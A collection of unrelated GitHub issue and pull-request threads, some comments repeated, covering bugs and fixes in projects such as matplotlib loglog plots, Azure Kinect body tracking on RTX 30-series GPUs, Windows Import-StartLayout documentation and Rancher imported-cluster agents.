Just hit this issue. Would be great to see a fix.

@philippjfr - You say you have a fix for loglog plots, but I still cannot get an equal aspect ratio for them.  Anytime I attempt to set it - it squishes the X axis while elongating the y axis.  Otherwise, its pretty much the opposite.
plt.scatter(n_data[x_group], n_data[y_group], marker='D', s=23)

axes = plt.gca()
axes.set_xlim([min(n_data[x_group]),max(n_data[x_group])])
axes.set_ylim([min(n_data[y_group]),max(n_data[y_group])])

plt.plot([min(n_data[x_group]), max_x], [min(n_data[y_group]), max_y], 'k-')
plt.loglog()
plt.gca().set_aspect('equal', adjustable='box')

Results in something like this:

Am I doing something inherently wrong with trying to get an equal aspect ratio? Is there any workaround?  I've also tried setting the xscale and yscale to logs, same thing.
Similar code, but for non log/log gives something like this:


feat!: Unify ABIs between nargo and yarn-project

Work in progress
Fixes #3812

Closed in favor of #3989


HDDS-5782. DatanodeRatisGrpcConfig use wrong type for config keys.

https://issues.apache.org/jira/browse/HDDS-5782

Thanks @ayushtkn  for the code review. The failed UT is irrelevant.

The build is green.  I will merge it.  Thanks all for the code review.


chore(app): upgrade to<EMAIL_ADDRESS>for new socket infrastructure

Summary
I'm Cedric and I work with Expo, we are migrating our infrastructure for Snack to move off from pubnub into another service. To be able to edit a Snack on the website, that previews in PlayTorch, you'll need to upgrade to the latest version.
Note that this version of the snack-runtime uses the same RN (0.69.9) and Expo (46) versions.
Changelog

[CATEGORY] [TYPE] - Upgrade Snack Runtime to 0.2.0-alpha.4 for new socket infrastructure.

Sorry, no idea what category or type could be 🙈

Test Plan
TBD, this would require testing the live preview of a Snack that's being edited on snack.expo.dev.

Thanks for the PR, @byCedric! Very much appreciated!


Automated cherry pick of #11941

Pulling #11941 into the release branch primarily for build/ consistency. I also went ahead and made the tarball base.go values match the script as it would have run.

cc @eparis

@k8s-bot: test this

@k8s-bot test this


Cuda 10.1 support

Is there a timeline for updating the library to Cuda 10.1? We're switching over to Visual Studio 2019 and my understanding is that cuda 10.0 has problems with visual studio 2019.

All our development and sample code projects are using VS2019 and we didn't see any problem. Could you clarify what kind of issue you will hit by using Cuda 10.0 dll in VS2019?

host_config.h in the Cuda 10.0.130 SDK has a line that checks for the MSC_VER and currently throws an error if it's greater than or equal to 1920 with the message that only VS 2013 - 2017 are supported

Thanks for clarification. But for the body tracking SDK, only the cuda binaries are needed. Customers shouldn't need to link to Cuda SDK at all.

We're not using it for the body tracking, but we do use the Cuda SDK a lot in other parts of our project. We've disabled it for the moment to get things working, but we'll need it in the long run.
I noticed the onnxruntime 1.2 says it upgraded to cuda 10.1 about a week ago. Will this get carried over to the kinect relatively soon?
thanks for the help.

Any word on updating the body tracking sdk to use a newer version of cuda? Other components in our project require 10.1 and we don't want to be shipping multiple versions.

I'm experiencing a problem with k4abt_simple_3d_viewer.exe on a Windows machine with RTX 3080, where the tracking window doesn't appear and not even a log file is generated.
I'm beginning to suspect that a lower version of the bundled CUDA is the cause, as it works when I remove the RTX 3080 and install a much older GT710, and it works even with the CPU options specified.
For your information, the same binary works correctly on another Windows machine with Quadro RTX 5000 (Turing architecture).
So far, I'm not sure if that's a reason to upgrade the CUDA version or if it's a problem with my RTX3080 unit, I'm writing here in the hopes that someone else experiencing the same phenomenon will find it.

We have had several reports of issues with the RTX 3080. The issue is likely with CUDA version which is an ONNX Runtime dependency. We are working with the ONNX team to make sure this is addressed in the next release of the Body Tracking SDK which is targeted for end of October / early November.

+1 having the same problem with k4abt_simple_3d_viewer.exe as @maruta, also on rtx 30 series, also had same binary working on a different machine & gpu. runs (very slowly) on this current machine if I execute with the CPU only mode
additionally, seeing a freeze upon trying to init the unit with an Unreal plugin that uses the sdk, which might be related (same plugin was also working on other machine)
eager for new release and to see if 30 series helps give a boost to skeleton tracking

Can confirm this issue also, on a computer with RTX 3090 the k4abt_simple_3d_viewer does not open the tracking window.
It just stops. No crash but just nothing happening. CPU mode works fine.
When compiling and testing the examples (simple_cpp_sample) ..its the same.. stops at this line :
 k4abt::tracker tracker = k4abt::tracker::create(sensor_calibration);
Really need this, hope a fix is on the way! :)

Can confirm this issue also, on a computer with RTX 3090 the k4abt_simple_3d_viewer does not open the tracking window.
It just stops. No crash but just nothing happening. CPU mode works fine.
When compiling and testing the examples (simple_cpp_sample) ..its the same.. stops at this line :
 k4abt::tracker tracker = k4abt::tracker::create(sensor_calibration);
Really need this, hope a fix is on the way! :)

Confirmed here as well. RTTX 3090.
@yijiew any updates on ETA for the next release?

Who can tell me, has this problem been solved and what needs to be updated. I updated to cudn10.1, but it has no effect.
Do I need to move the CUDN DLL library to bianary replacement of body tracking file ？？
#1423

I think Microsoft needs to release a new Version thats compiled with a Onxx runtime that uses cuda 11.
I think we as users can just wait.
Is that right?

We have had several reports of issues with the RTX 3080. The issue is likely with CUDA version which is an ONNX Runtime dependency. We are working with the ONNX team to make sure this is addressed in the next release of the Body Tracking SDK which is targeted for end of October / early November.

@qm13 is there a new target date for the next release?

I'm experiencing a problem with k4abt_simple_3d_viewer.exe on a Windows machine with RTX 3080, where the tracking window doesn't appear and not even a log file is generated.
I'm beginning to suspect that a lower version of the bundled CUDA is the cause, as it works when I remove the RTX 3080 and install a much older GT710, and it works even with the CPU options specified.
For your information, the same binary works correctly on another Windows machine with Quadro RTX 5000 (Turing architecture).
So far, I'm not sure if that's a reason to upgrade the CUDA version or if it's a problem with my RTX3080 unit, I'm writing here in the hopes that someone else experiencing the same phenomenon will find it.

The same problem with RTX3070

All 3000 series cards are affected. Hoping we can get an ETA soon. I have commercial applications that could really use this!!!

On Dec 24, 2020, at 5:22 PM, xiaomaza<EMAIL_ADDRESS>wrote:

I'm experiencing a problem with k4abt_simple_3d_viewer.exe on a Windows machine with RTX 3080, where the tracking window doesn't appear and not even a log file is generated.
I'm beginning to suspect that a lower version of the bundled CUDA is the cause, as it works when I remove the RTX 3080 and install a much older GT710, and it works even with the CPU options specified.
For your information, the same binary works correctly on another Windows machine with Quadro RTX 5000 (Turing architecture).
So far, I'm not sure if that's a reason to upgrade the CUDA version or if it's a problem with my RTX3080 unit, I'm writing here in the hopes that someone else experiencing the same phenomenon will find it.
The same problem with RTX3070
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or unsubscribe.

Currently investigating issue.

i am also very worried. Please ,please tell me the completion data !
3Q

Currently investigating issue.

are there any updates on this? please let us know.

We are also having this issue, RTX 3080 series. Microsoft needs to address this.

We are also having this issue, RTX 3080 series. Microsoft needs to address this.

ping @qm13

ping @qm13

qm13 has there been nay updates?

qm13 has there been nay updates?

Thank you. I am eagerly awaiting the results of your investigating issue.

Thank you. I am eagerly awaiting the results of your investigating issue.

@qm13

@qm13

@qm13 any news? This ticket seems to revolve around onnxruntime support of CUDA 10.1 however onnxruntime has supported both cuda 10.2 and cuda 11 since release 1.5.1
I assume that this is more than just a simple runtime issue then but given this is a major blocker on current gen hardware it would be great to get some deeper feedback on what the issue investigation has revealed and what/if there is a timeline for an update.
Thank you!

@qm13 any news? This ticket seems to revolve around onnxruntime support of CUDA 10.1 however onnxruntime has supported both cuda 10.2 and cuda 11 since release 1.5.1
I assume that this is more than just a simple runtime issue then but given this is a major blocker on current gen hardware it would be great to get some deeper feedback on what the issue investigation has revealed and what/if there is a timeline for an update.
Thank you!

@qm13 Currently, the market is moving to GeForce 30XX generation products, and GeForce 20XX/10XX generation products have come to end of sales. NVIDIA has announced the 30XX generation products for laptops. All desktop/laptop on the market will soon be replaced by 30XX generation GPU.
This is a very serious problem for businesses. In fact, we are having trouble procuring new PC that deliver to our customers for work. Please, hurry up with this task (update ONNX Runtime to CUDA 11.x, or support DirectML provider). Thanks!

@qm13 Currently, the market is moving to GeForce 30XX generation products, and GeForce 20XX/10XX generation products have come to end of sales. NVIDIA has announced the 30XX generation products for laptops. All desktop/laptop on the market will soon be replaced by 30XX generation GPU.
This is a very serious problem for businesses. In fact, we are having trouble procuring new PC that deliver to our customers for work. Please, hurry up with this task (update ONNX Runtime to CUDA 11.x, or support DirectML provider). Thanks!

@qm13 Currently, the market is moving to GeForce 30XX generation products, and GeForce 20XX/10XX generation products have come to end of sales. NVIDIA has announced the 30XX generation products for laptops. All desktop/laptop on the market will soon be replaced by 30XX generation GPU.
This is a very serious problem for businesses. In fact, we are having trouble procuring new PC that deliver to our customers for work. Please, hurry up with this task (update ONNX Runtime to CUDA 11.x, or support DirectML provider). Thanks!

https://github.com/microsoft/Azure-Kinect-Sensor-SDK/issues/1481#issuecomment-763288112
Per @qm13 looks like we should see an update around mid next month (usual caveats apply)
great news!

@qm13 Currently, the market is moving to GeForce 30XX generation products, and GeForce 20XX/10XX generation products have come to end of sales. NVIDIA has announced the 30XX generation products for laptops. All desktop/laptop on the market will soon be replaced by 30XX generation GPU.
This is a very serious problem for businesses. In fact, we are having trouble procuring new PC that deliver to our customers for work. Please, hurry up with this task (update ONNX Runtime to CUDA 11.x, or support DirectML provider). Thanks!

https://github.com/microsoft/Azure-Kinect-Sensor-SDK/issues/1481#issuecomment-763288112
Per @qm13 looks like we should see an update around mid next month (usual caveats apply)
great news!

We have had several reports of issues with the RTX 3080. The issue is likely with CUDA version which is an ONNX Runtime dependency. We are working with the ONNX team to make sure this is addressed in the next release of the Body Tracking SDK which is targeted for end of October / early November.

Sorry, know i have also listed this on another ticket but it suggested it was closed. As this is still an open ticket, is there any update on when SDK, CUDA and Body Tracking working with NVIDIA 3xxx cards?

Upgraded to CUDA 11.1

Hi Guys,
Can anyone confirm if the body tracking is working fine without any issues with the RTX30xx graphic card,please?
I am planning to buy a desktop with the RTX3070 and I wanted check before I could purchase the desktop.
Thanks for your feedback !!

I can confirm that it works fine on RTX 3070 whereas before it didn't.
See screenshot below as proof.

Hi @lewkoo,
Thanks for the information

After upgrading the body tracking library to v1.1, the k4abt_simple_3d_viewer example runs with the CUDA option, however printing the following message:
2021-04-17 21:15:30.444827715 [W:onnxruntime:K4ABT_ORT_Environment, cuda_execution_provider.cc:1885 GetCapability] CUDA kernel not found in registries for Op type: Sign node name: Sign
2021-04-17 21:15:30.446831171 [W:onnxruntime:K4ABT_ORT_Environment, fallback_cpu_capability.h:140 GetCpuPreferedNodes] Force fallback to CPU execution for node: Shape__40

What does this message mean? @lewkoo did you get similar message when running on RTX 3070?
Thanks,

After upgrading the body tracking library to v1.1, the k4abt_simple_3d_viewer example runs on RTX 3090 (CUDA Version: 11.2), however it prints the following message before creating the tracking window:
2021-04-17 21:15:30.444827715 [W:onnxruntime:K4ABT_ORT_Environment, cuda_execution_provider.cc:1885 GetCapability] CUDA kernel not found in registries for Op type: Sign node name: Sign
2021-04-17 21:15:30.446831171 [W:onnxruntime:K4ABT_ORT_Environment, fallback_cpu_capability.h:140 GetCpuPreferedNodes] Force fallback to CPU execution for node: Shape__40

@qm13 What does this message mean? Does it fallback to CPU processing? @lewkoo did you get similar message when running on RTX 3070?
Thanks for the efforts,

I got identical message when running k4abt_simple_3d_viewer on 18.04 Ubuntu with CUDA 11.2. Possibly due to this.
AFAIK, it doesn't fallback to CPU processing, at least not entirely. nvidia-smi still shows a process and GPU is experiencing some additional load. From the error message, I can wild guess that it is off loading body shape detection to CPU, while everything else is still running on GPU but this is just a guess. However, our applications that use body tracking seem to perform just as they used to despite these error messages.

@lewkoo That warning is expected. Please see the troubleshooting notes for AKDK in the documentation.

I have a question. I use Win10P RTX3080 to turn on body tracking v1.1.0 but it can’t be displayed. I use CUDA 11.1 according to the article. Is anyone like me? I am a student first contact with Azure Kinect

I have encountered the same issue. Could anybody provide some instructions? Really appreciate it.

您好，我一般不常用邮箱，有重要邮件，请QQ我下，谢谢!

I have a question. I use Win10P RTX3080 to turn on body tracking v1.1.0 but it can’t be displayed. I use CUDA 11.1 according to the article. Is anyone like me? I am a student first contact with Azure Kinect

I have encountered the same issue. Could anybody provide some instructions? Really appreciate it.

Same issue here

same here. please fix it.


Case of different shapes

For different number of rows, do you think it will work just by changing assert statements>>

Do you mean when the two datasets are different size?

Yes
On Mon., Jul. 13, 2020, 12:18 a.m. Nghia<EMAIL_ADDRESS>wrote:

Do you mean when the two datasets are different size?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nghiaho12/rigid_transform_3D/issues/4#issuecomment-657283590,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AIIJTCRESEM4SATCE7GR3SDR3IZDTANCNFSM4LVH4JWA
.

This algorithm requires exact number of points between the two dataset.


support for django 2+

I'm closing this pr because, Django 1.9+ raises an error since the template render method accepts dict not Context object.

I'm closing this pr because, Django 1.9+ raises an error since the template render method accepts dict not Context object.


Adsk Contrib: Grading ops related improvements.

Improve uniforms implementation and usage.

Use vector (instead of array) for variable size containers name.
Introduce Float3.
Replace int2 container by int vector.
Reuse the Uniform structure in the glsl implementation.

Precompute grading primary values to simplify to simplify renderers.
Fix GradingRGBCurveOpGPU uniform declaration for offsets and adjust to VectorInt.
Signed-off-by: Bernard Lefebvre<EMAIL_ADDRESS>

Thanks @bernard for the pull request.
The two main aspects to highlight are:

the changes to improve the name consistency of arrays (fixed vs. dynamic) from the public API, Dynamic Properties to the build of shader programs. The new names are much more explicit to differentiate fixed arrays e.g. float3 vs. dynamic arrays e.g. vectorFloat.
the changes to precompute values in order to speed up the CPU processing. When reviewing the code you can think about cases where only one pixel is color managed so, value pre computation is then critical.

Given that the pull request has been available for review for 11 days, here is a friendly reminder that we can proceed with the merge this week (Friday for example) unless objections.


Victoria metrics

Add victoria metrics support for argocd deploy.

https://github.com/provectus/sak-victoria-metrics


Error double printing

Heloo i have error double prtinting plz help!

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

@GabbasovDinar did you face anything similar?

@yelizariev no, but I can fix this problem later. How to get this error?

there are sometimes order submit it print and later about few minutes it comes again with the same order and same time but nobody submits.

fixed in #330


alt+enter shortcut closes editor and goes to next row

Hi..
Is it possible to have the plugin, check for ctrl/alt/shift when checking for enter key in open editor?
We use alt+enter shortcut as an select and return value all over in our project, but when in an open editor in a grid, the alt+enter shortcut also triggers a close editor and go to next row, resulting in next row/cells value being returned...
Could Keys.java check for ctrl/al/shift ?
From
public static boolean Keys.isRowChangeKey(key){return rowChangeKeys.contains(keyCode);};
to
public static boolean Keys.isRowChangeKey(event) {  return rowChangeKeys.contains(event.getKeyCode())           && !event.getCtrlKey()  && !event.getAltKey() && !event.getShiftKey(); }

I think this would be trivial change to do.

I think this would be trivial change to do.

HI...
I think You are absolutely right....
I decided I couldn't wait :) So I went ahead and and made one tiny change to the code at it fixed it for me... But a fixed version here would be very appreciated.
Here is my tiny fix..
@@ -210,7 +220,7 @@ public class EditorStateManager {
                     move = true;
                 }

-                if (validationError == -1 && Keys.isRowChangeKey(key)) {
+                if (validationError == -1 && Keys.isRowChangeKey(key) && !e.getAltKey() && !(e.getShiftKey() && e.getCtrlKey()) && !e.getCtrlKey()) {
                        saveContent();

Included in 2.6.0


[VerticalGallery] Playing with resizing tiles

What

resizes the tiles in the vertical gallery to fill empty space
Why

better use of space for video

https://skype.visualstudio.com/SPOOL/_workitems/edit/3125205
How Tested

Ran local sample to check prototype

Closing since dev work is well underway


Interaction with Margins

Hi Chris
Dumb question - I'd like to get the totals of columns as well as sub-totals. If I add margins=True I get a subtotal for all as well as a grand total from sidetable
data = req.get('http://localhost:43000/mi_salesoverview').json()
    df = pd.DataFrame.from_dict(data)
    dfq = df.query("year == [2020]")
    report = pd.pivot_table(dfq,index=["company","item"],columns=["month"],values='sales_value', margins=True, aggfunc={"sales_value": np.sum}).stb.subtotal(sub_level=[1],grand_label="Total Sales")

M

If I'm understanding correctly, don't use margins=True. Complete your pivot, then use assign at the end to add the row totals.
Here's a full example with the titanic data:
import pandas as pd
import sidetable
import seaborn as sns
df = sns.load_dataset('titanic')

tmp = df[['class', 'deck', 'sex', 'fare']]
pd.pivot_table(tmp, index=['class', 'deck'],
               columns=['sex'],
               aggfunc={'fare': 'sum'}).stb.subtotal(sub_level=[1],
                                                     grand_label='Total Fare').assign(total=lambda x: x.sum(axis=1))

Is that what you were trying to do?

Chris
Perfect!
Thank you so much


Path separator in compiler.ts

https://github.com/ivogabe/gulp-typescript/blob/master/lib/compiler.ts#L133-L136
I think this breaks gulp-typescript for the outsideRoot cases on windows..
the '/' vs '' vs. path.sep usage..

Thanks for reporting, fixed


[feature] Verify that device is connected to internet before runnings tests.

Version and OS
0.46.04, termux
Is your feature request related to a problem? Please describe.
My device wasn't connected to internet and all tests failed (Exception)
Describe the solution you'd like
If device is not connected to internet skip the tests
Additional thoughts:
-, retry internet connection in smaller interval than watch intervals, cause now if you have tests once in 3 hours, and it failes cause of no internet, it will be retried only in 3 hours

@dgtlmoon

this is too hard, but i think better is like "wait 10 seconds before checking" with some obvious message in the UI?

sounds good, only issue is what if device is out of internet for 30 min? It will check every 10 seconds for 30 min? If it's not expensive device / resources wise then let be it, other wise we can try: extend duration with each try - wait 10 seconds, then wait 60 seconds, then wait 3 min, etc


The MountPath example does not work, needs modifying

Hi
(At least when I try this) on Server 2016 and I put a mountPath that contains something like "c:\users..." it does not work. It only works for me when I use the root of the drive "c:"  ... I learned this from others discussing the same and coming up with this. Why a mountpath is needed in the Import when it is not needed in the export is mind boggling.
Bart

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 70b1f7af-3a6a-ca25-4329-93fbd6226e32
Version Independent ID: 56773c31-28cb-6254-dc2e-f6af7aaa3697
Content: Import-StartLayout (startlayout)
Content Source: docset/windows/startlayout/Import-StartLayout.md
Product: w10
Technology: powershell-windows
GitHub Login: @andreabarr
Microsoft Alias: v-anbarr

@blouwagie. Sir this topic about getting start layout xml from mounted windows image.
I think C:\users is not correct mounted point.
Did you mounted windows image .wim file before entering  commands in PS?

Hi
I just tried the commands as per the instructions. If other commands are
needed first they should be documented.
Any way, as long as I put c:\ as the mount path it worked. Any other path
did not work. Certainly the mount path as in the documentation did not work.
It is frustrating that the export and import command have differing syntax.
My comment is about poor documentation, as I figured out how to work around
the documentation. I just hope you can make the documentation clear for
others (not for me)
Thx
bart
<EMAIL_ADDRESS>On Sat, Nov 2, 2019, 02:21 VARADHARAJAN K<EMAIL_ADDRESS>wrote:

@blouwagie https://github.com/blouwagie. Sir this topic about getting
start layout xml from mounted windows image.
I think C:\users is not correct mounted point.
Did you mounted windows image .wim file before entering commands in PS?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/MicrosoftDocs/windows-powershell-docs/issues/1569?email_source=notifications&email_token=AESZT5JOPK3FSFDPTOUO5GDQRUL7JA5CNFSM4JH42KI2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEC4U6SI#issuecomment-549015369,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AESZT5ORPXKFDNVG3XS4O53QRUL7JANCNFSM4JH42KIQ
.

@blouwagie
The issue has been noted and the document will be revised in the light of your feedback.
Thank you.

Same problem here, import command doesn't work with mounted image to C:\TEST\MOUNT
It says: Import-StartLayout : The path C:\TEST\MOUNT\ did not resolve to a file.
@blouwagie would you mind sharing your workaround?

If I remember correctly.
I used just the drive letter for the mount path, no subfolders
Bart Louwagie
On Tue, Dec 17, 2019 at 4:08 PM darthmarx<EMAIL_ADDRESS>wrote:

Same problem here, import command doesn't work with mounted image to
C:\TEST\MOUNT
It says: Import-StartLayout : The path C:\TEST\MOUNT\ did not resolve to a
file.
@blouwagie https://github.com/blouwagie would you mind sharing your
workaround?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/MicrosoftDocs/windows-powershell-docs/issues/1569?email_source=notifications&email_token=AESZT5NO47N4ZHBQLNJAUZDQZE5UXA5CNFSM4JH42KI2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEHD6T6I#issuecomment-566749689,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AESZT5ITBNIRMECGAYQU3YTQZE5UXANCNFSM4JH42KIQ
.

@blouwagie  I got the same error as @darthmarx   got, but i solved  in another way i didnt used mount path command, instead i copied the imported  .xml to the destination,.
i used the following commands
Mount-WindowsImage -imagepath "C:\test\offline\install.wim" /index 1 -Path "C:\test\mount" -Optimize
Copy-Item -Path C:\Layouts\Customlayout.xml -Destination
C:\test\mount\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml
DisMount-WindowsImage -Path "C:\test\mount" -CheckIntegrity -Save

@blouwagie Thank you for providing this feedback. I have created a change request with the cmdlet modification.
Regarding why it only works with "C:" (or other workarounds like using a variable) we will need to wait for the authors to intervene.
In my opinion it makes sense to use the root because of the -MountPath definition from the article - "Specifies the path where you mounted the .wim file and specifies the local appdata folder for the default user."

Closing via above comment and the merged PR addressing the issue, #1823. Thank you, all.


add prefix for otp rate limiter middleware and encrypting the key

Changed the generation of the rate limiting key in the OtpRateLimiter middleware. Instead of using the IP address and user agent string concatenated and "slugged" using the Str::slug method, the key is now generated using the sha1 function with a prefix of 'otp-rate-limit:' followed by the concatenated IP address and user agent string. This change simplifies the key generation process and ensures a unique key for each combination of IP address and user agent.

PR Auto Describe:
Changes in this pull request:

Type: Refactor
Description: Removed the import statement for Illuminate\Support\Str.

Type: Refactor
Description: Changed the key generation for OTP rate limiting in the 'handle' method. Instead of using the client's IP and a slug of the user agent, it now uses a SHA1 hash of a string containing 'otp-rate-limit:', the client's IP, and the user agent.

PR Auto Describe:
Overall, this pull request includes a refactoring change aimed at how rate limiting keys are generated within the OtpRateLimiter middleware.

Type: Refactor
Description: Changed the generation of the rate limiting key in the OtpRateLimiter middleware. Instead of using the IP address and user agent string concatenated and "slugged" using the Str::slug method, the key is now generated using the sha1 function with a prefix of 'otp-rate-limit:' followed by the concatenated IP address and user agent string. This change simplifies the key generation process and ensures a unique key for each combination of IP address and user agent.

PR Auto Describe:
Changes made in the pull request:

Type: Refactor
Description: Updated the key used for rate limiting in the OtpRateLimiter middleware. The key now includes a prefix 'otp-rate-limit:', providing better context.


did we finish the documentation?

@LinxuanHu If possible, please add some more references.

I actually was just looking at it and noticed a few typos that I fixed in this merge request here (#86)

thanks, your request has been merged

Aren't we supposed to do the documentation by ourself? I too did the documentation part.

do you need documentation?


[BUG] Wake-lock for video playbacks

Just noticed video playbacks don't have wake-lock. Phone automatically gets locked after a set amount of time even if I am watching a video. Hope there is a fix soon.

OS: Android 14
App Version 3.1.0

**

Well, the code for this already exists, but for some reason it isn't working on my device either: https://github.com/IacobIonut01/Gallery/blob/main/app/src/main/kotlin/com/dot/gallery/feature_node/presentation/mediaview/components/video/VideoPlayer.kt#L90C5-L96C6

I just tried to debug the issue locally to then realize it wasn't happening. I thought it probably wasn't happening due to the debugging, but indeed, with the latest nightly pre-built the problem isn't present there anymore. so I suggest you to download the latest nightly to fix the issue.

I just tried to debug the issue locally to then realize it wasn't happening. I thought it probably wasn't happening due to the debugging, but indeed, with the latest nightly pre-built the problem isn't present there anymore. so I suggest you to download the latest nightly to fix the issue.

If it's fixed, that's good. But I am not going to install an experimental version just for that. How long will it take for the stable version to be released?

The point of nightly isn't to be experimental, but to release bug fixes and small features / UI improvements early so anyone who reported/suggested the said change will be able to use it early of a full fledge release - which will most likely contain more or less the same changes


getSetInfo() returns tracks out of order when track count > 5

getSetInfo() makes a call to SoundCloud's API endpoints for fetching track details, but the response is out of order and then concatenated to the playlist's track array.

Fixed here 69477ad3614b3155b78a86b0622414fdd217194e in branch 0.2.1, will merge later.


[BUG] Imported cluster agent cannot connect when applying import instructions twice

Rancher Server Setup

Rancher version: 2.6.5
Installation option (Docker install/Helm Chart): Helm Chart

If Helm Chart, Kubernetes Cluster and version (RKE1, RKE2, k3s, EKS, etc): Tested on RKE1, managed clusters (OVH, Civo) with k8s 1.20, 1.22 (k3s), 1.23

Proxy/Cert Details: cert-manager, with nginx adn traefik

Information about the Cluster

Kubernetes version: 1.20, 1.22, 1.23
Cluster Type (Local/Downstream): Downstream

If downstream, what type of cluster? (Custom/Imported or specify provider for Hosted/Infrastructure Provider): Imported (OVH, Civo)

User Information

What is the role of the user logged in? Admin

Describe the bug
When you apply the setup manifests twice (more than one time), the imported cluster cannot connect to rancher anymore.
I've tested with multiple k8s versions and providers, I always have the issue.
To Reproduce

Create a generci imported cluster
Apply setup manifests to install the cattle-cluster-agent on the downstream cluster, and then see it registered to rancher
Apply setup manifest a 2nd time. The downstream cattle-cluster-agent restarts and cannot connect to rancher anymore

Result
The downstream cluster is not connected anymore. I tried to uninstall/reinstall all the downstream cluster manifests (cattle-cluster-agent), the cluster is still unable to connect.
The only way to add it to rancher is to create a new cluster.
Expected Result
The downstream cluster should connect to rancher without issue.
Additional context
Some logs :

When applying twice the setup manifests, I see that the deployment.apps/cattle-cluster-agent resource changes, using another secret cattle-credentials

Logs on the downstream server:

NFO: Environment: CATTLE_ADDRESS=<IP_ADDRESS> CATTLE_CA_CHECKSUM= CATTLE_CLUSTER=true CATTLE_CLUSTER_AGENT_PORT=tcp://<IP_ADDRESS>:80 CATTLE_CLUSTER_AGENT_PORT_443_TCP=tcp://<IP_ADDRESS>:443 CATTLE_CLUSTER_AGENT_PORT_443_TCP_ADDR=<IP_ADDRESS> CATTLE_CLUSTER_AGENT_PORT_443_TCP_PORT=443 CATTLE_CLUSTER_AGENT_PORT_443_TCP_PROTO=tcp CATTLE_CLUSTER_AGENT_PORT_80_TCP=tcp://<IP_ADDRESS>:80 CATTLE_CLUSTER_AGENT_PORT_80_TCP_ADDR=<IP_ADDRESS> CATTLE_CLUSTER_AGENT_PORT_80_TCP_PORT=80 CATTLE_CLUSTER_AGENT_PORT_80_TCP_PROTO=tcp CATTLE_CLUSTER_AGENT_SERVICE_HOST=<IP_ADDRESS> CATTLE_CLUSTER_AGENT_SERVICE_PORT=80 CATTLE_CLUSTER_AGENT_SERVICE_PORT_HTTP=80 CATTLE_CLUSTER_AGENT_SERVICE_PORT_HTTPS_INTERNAL=443 CATTLE_CLUSTER_REGISTRY= CATTLE_INGRESS_IP_DOMAIN=sslip.io CATTLE_INSTALL_UUID=5e01b0fd-e971-4e08-aee5-2f95434f0ce4 CATTLE_INTERNAL_ADDRESS= CATTLE_IS_RKE=false CATTLE_K8S_MANAGED=true CATTLE_NODE_NAME=cattle-cluster-agent-75f78d47d-pfspq CATTLE_SERVER=https://rancher.cluster1.civo.vrchr.fr CATTLE_SERVER_VERSION=v2.6.5
INFO: Using resolv.conf: search cattle-system.svc.cluster.local svc.cluster.local cluster.local nameserver <IP_ADDRESS> options ndots:5
INFO: https://rancher.cluster1.civo.vrchr.fr/ping is accessible
INFO: rancher.cluster1.civo.vrchr.fr resolves to <IP_ADDRESS>
time="2022-06-23T10:36:06Z" level=info msg="Listening on /tmp/log.sock"
time="2022-06-23T10:36:06Z" level=info msg="Rancher agent version v2.6.5 is starting"
time="2022-06-23T10:36:06Z" level=info msg="Connecting to wss://rancher.cluster1.civo.vrchr.fr/v3/connect/register with token starting with 944gl5l45h6d8fvdpn8dm4z7bwc"
time="2022-06-23T10:36:06Z" level=info msg="Connecting to proxy" url="wss://rancher.cluster1.civo.vrchr.fr/v3/connect/register"

Logs on the rancher server, nothing really revelent:

2022/06/23 10:42:44 [ERROR] Error during subscribe websocket: close sent
2022/06/23 10:42:44 [ERROR] Error during subscribe websocket: close sent

Just upgraded to v2.6.6, same issue.
But I get a workaround. When getting the diff on what is applied, I see 2 modifications:

cattle-credentials secret reference
CATTLE_FEATURES: embedded-cluster-api=false,fleet=false,monitoringv1=false,multi-cluster-management=false,multi-cluster-management-agent=true,provisioningv2=false,rke2=false

Updating this 2 values to the deployment corrects the issue for the already-registered cluster.

Just upgraded to v2.6.6, same issue.
But I get a workaround. When getting the diff on what is applied, I see 2 modifications:

cattle-credentials secret reference
CATTLE_FEATURES: embedded-cluster-api=false,fleet=false,monitoringv1=false,multi-cluster-management=false,multi-cluster-management-agent=true,provisioningv2=false,rke2=false

Updating this 2 values to the deployment corrects the issue for the already-registered cluster.

@rverchere - Can you elaborate on your workaround?  Are you updating these in the agent deployment YAML?  What do you update them to?  In my case, I dont see CATTLE_FEATURES referenced in the agent deploy.
I am also having this issue now.

@anthony-decusati-tfs sure!
WHen you first apply the manifests, these values are not set, but they are added/updated once the cluster is registered to Rancher.
To find the workaround and what changed between the first and second register, I did:

kubectl apply -f https://rancher.company.com/registering-manifests.yml
wait for the cluster to be registered
Saved the cattle-cluster-agent deployment manifests (kubectl get deployment cattle-cluster-agent -o yaml)
curl https://rancher.company.com/registering-manifests.yml -o registering-manifests.yml
kubectl diff -f registering-manifests.yml

kubectl diff is a plugin which show the differences before applying. I've seen then the CATTLE_FEATURES and cattle-credentials changes.

@anthony-decusati-tfs sure!
WHen you first apply the manifests, these values are not set, but they are added/updated once the cluster is registered to Rancher.
To find the workaround and what changed between the first and second register, I did:

kubectl apply -f https://rancher.company.com/registering-manifests.yml
wait for the cluster to be registered
Saved the cattle-cluster-agent deployment manifests (kubectl get deployment cattle-cluster-agent -o yaml)
curl https://rancher.company.com/registering-manifests.yml -o registering-manifests.yml
kubectl diff -f registering-manifests.yml

kubectl diff is a plugin which show the differences before applying. I've seen then the CATTLE_FEATURES and cattle-credentials changes.
And yes, at the end I just updated the cattle-cluster-agent deployment with the previous one saved to make it work.

Thanks, @rverchere, this did help us.  We have about 30 clusters, and I've been able to reconnect about a dozen so far.
These two problems seem to be separate, but possibly related.  I found that if I completely wipe the agent off the clusters, remove the cattle-system namespace, and re-install, the deployment is missing the CATTLE_FEATURES environment variable.  If I add it manually to the deployment with the values above, the agent usually starts and re-connects to rancher.  CATTLE_FEATURES is not present in the YAML provided by the registration token.
